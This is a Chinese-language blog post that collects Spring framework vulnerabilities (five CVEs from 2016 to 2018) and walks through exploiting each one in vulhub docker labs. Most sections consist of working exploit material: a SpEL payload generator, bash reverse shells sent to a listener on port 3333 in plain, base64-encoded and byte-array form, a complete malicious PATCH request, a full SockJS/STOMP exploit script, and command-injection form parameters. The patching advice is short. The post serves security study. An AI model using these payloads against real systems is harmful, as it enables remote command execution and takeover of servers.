si1ent

Spring漏洞合集

2021-06-28

概述

Spring是一个开源的JAVA框架平台,它由Rod Johnson创建。为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益,Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。

环境搭建

环境使用P牛的docker环境来直接拉取docker文件运行即可;以下漏洞均使用docker来运行。

1
docker-compose up -d

image-20200821100350190

漏洞分类实战

CVE-2016-4977

漏洞描述

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

影响范围

2.0.0 to 2.0.9

1.0.0 to 1.0.5

漏洞原理

Spring的一个错误页面,对用户传的参数的递归解析,从而导致SpEL注入;最终获得服务器权限。

漏洞条件

用户、密码

漏洞检测

1、检测搭建完成与否

1
2
3
//URL访问
http://192.168.3.210:8080
//访问如下图即安装完成

image-20200821104042955

2、访问URL尝试登录

1
http://192.168.3.210:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=si1ent

首先需要填写用户名和密码,我们这里填入admin:admin即可。

image-20200821102441175

输入用户名及密码得到以下信息。

1
http://192.168.3.210:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=si1ent

image-20200821102703135

3、输入SpEL表达式payload

参考原理介绍

${3*3}得到以下值,验证语句被执行。

image-20200821102909235

4、反弹shell

拉取的docker.yml文件夹内包含有poc.py文件。

1
2
3
4
5
6
7
8
9
10
11
# poc文件主要对编码后的语句生成对应的SpEL表达式
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'
print(poc)

poc需要python3.x才行!!

1
2
3
//bash脚本
bash -i >& /dev/tcp/192.168.3.210/3333 0>&1
# bash命令主要用于反弹至外部主机监听的主机上;

使用以下网站进行编码处理

payload在线

image-20200821143514096

5、生成payload

发现生成的payload的值内容字符前、后和上面一致(*${33}**)

执行poc后输入编码的bash命令,如下图所示:

1
2
3
4
5
6
# 第一:bash
bash -i >& /dev/tcp/192.168.3.210/3333 0>&1
# 第二:编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMjEwLzMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}
# 第三部:执行poc.py获得SpEL表达式
内容直接输出到终端

6、本地监听

1
nc -l 3333

7、URL构造

1
2
//对${3*3}进行替换至生成的payload
http://192.168.3.210:8080/oauth/authorize?response_type=${3*3}&client_id=acme&scope=openid&redirect_uri=si1ent

8、观察反弹情况

shell反弹成功。

image-20200821150056423

漏洞修复
  • 使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
  • 使用2.0.x版本的用户升级到2.0.10以及更高的版本

CVE-2017-4971

漏洞描述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响范围

Spring WebFlow 2.4.0 ~ 2.4.4

漏洞原理

如控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

漏洞条件

用户账户、密码

漏洞检测

1、检测搭建完成情况

1
2
//访问以下URL,显示一个酒店系统。spring-webflow官方示例
http://192.168.3.210:8080/login

image-20200821154631163

2、任意账户登录

1
2
3
4
keith/melbourne
erwin/leuven
jeremy/atlanta
scott/rochester

image-20200821154936267

image-20200821155020411

image-20200821155101140

随机访问View Hotel

image-20200821155136367

点击预订按钮:Book Hotel

image-20200821155222392

填写数据后点击:Process

image-20200821155403680

image-20200821155421989

点击确认:Confirm,此时进行数据拦截

拦截post请求不要发送,切记,切记,切记!!添加一个如下参数

image-20200821160540089

nc监听

image-20200821161428121

反弹shell(进行URL编码处理)

1
2
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.3.210/3333 0>&1")).start()=si1ent
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.3.210/3333+0>%261")).start()=si1ent

image-20200821163205134

反弹成功

image-20200821163434752

漏洞修复

更新至最新版本,Spring WebFlow 2.4.5不受影响

CVE-2017-8046

漏洞描述

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

恶意攻击者使用精心构造的JSON数据包,向spring-data-rest服务器提交恶意PATCH请求,可以执行任意的Java代码。

影响范围

Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本

Spring Boot 2.0.0M4之前的版本

Spring Data release trains Kay-RC3之前的版本

漏洞原理

path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

漏洞条件

漏洞检测

1、URL访问

1
192.168.3.210:8080/

如果返回JSON,说明这是一个Restful风格的API服务器

image-20200821165944028

2、获取客人信息

1
http://192.168.3.210:8080/customers/1

image-20200821170227683

3、使用PATCH请求资源

1
2
POST传输值:
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "si1ent" }]

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success

4、反弹shell

以下shell进行bytecode

1
2
3
4
5
6
7
第一:
bash -i >& /dev/tcp/192.168.3.210/3333 0>&1
第二:(转换部分参考以上在线工具即可)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMjEwLzMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}
第三:获取
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,117,77,106,69,119,76,122,77,122,77,122,77,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
以上字符进行替换!!

替换后

1
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,117,77,106,69,119,76,122,77,122,77,122,77,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "si1ent" }]

5、监听

1
nc -l 3333

6、反弹shell

1
2
3
4
5
6
7
8
9
10
11
PATCH /customers/1 HTTP/1.1
Host: 192.168.3.210:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,117,77,106,69,119,76,122,77,122,77,122,77,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "si1ent" }]

image-20200821204840071

image-20200821204859453

漏洞修复

升级到以下最新版本:

  • Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

CVE-2018-1270

漏洞描述

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

spring-messaging模块实现STOMP(Simple Text-Orientated Messaging Protocol)协议,通过WebSocket进行STOMP报文的数据交互。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行。

影响范围

Spring Framework 5.0 to 5.0.4

Spring Framework 4.3 to 4.3.14

漏洞原理

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

漏洞产生于spring-messaging组件,对于使用Spring框架的应用系统,首先排查是否引入了spring-messaging组件并实现STOMP消息传送功能,查看Spring Framework的版本是否在受影响范围内。

该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发

漏洞条件

漏洞检测

网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程:

  1. STOMP协议将数据组合成一个文本流
  2. sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通

因此可以使用http来复现漏洞,称之为“降维打击”。

P牛docker目录下存放一个用于检测漏洞的poc,修改对应IP和bash即可。

1、URL访问

1
http://192.168.3.216:8080/

image-20200822101638648

2、向订阅地址发送SpEL表达式来出发漏洞,传输数据也包含一定局限性。

  1. 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket如下图所示:

image-20200822112714858

  1. 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
  2. 某一个订阅的地址,如vulhub中为:/topic/greetings
  3. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
exploit.py
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)

def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)

def send(self, command, headers, body=''):
data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")

def __del__(self):
self.session.close()


sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
'id': 'sub-0',
'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)

3、修改IP

1
192.168.3.216

image-20200822115205128

4、进入docker系统内查询

1
2
docker-compose exec spring bash
bash -i >& /dev/tcp/192.168.3.210/3333 0>&1

image-20200822115244849

漏洞修复

升级框架

Spring Data Commons

2.0.x的用户升级到2.0.6

1.13.x的用户升级到1.13.11

Spring Data REST

2.x用户升级到2.6.11

3.x用户升级到3.0.6

Spring Boot

1.5.x用户升级到1.5.11

2.x用户升级到2.0.1

CVE-2018-1273

漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响范围

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)

Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 to 2.0.5 (Kay SR5)

Spring Data REST 3.0 - 3.0.5 (Kay SR5)

及更早的版本也会受到影响

漏洞原理

Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞条件

漏洞检测

1、URL访问

1
http://192.168.3.219:8080/users

image-20200824191930432

2、截获注册请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.3.219:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://192.168.3.219:8080
Connection: close
Referer: http://192.168.3.219:8080/users
Upgrade-Insecure-Requests: 1

username=admin&password=admin&repeatedPassword=admin

image-20200824192352733

3、修改POST值

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

image-20200824192615084

4、查看文件

image-20200824192634219

漏洞修复

官方补丁

参考

1
2
3
https://github.com/vulhub/vulhub/
https://paper.seebug.org/70/
https://xz.aliyun.com/t/2252
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章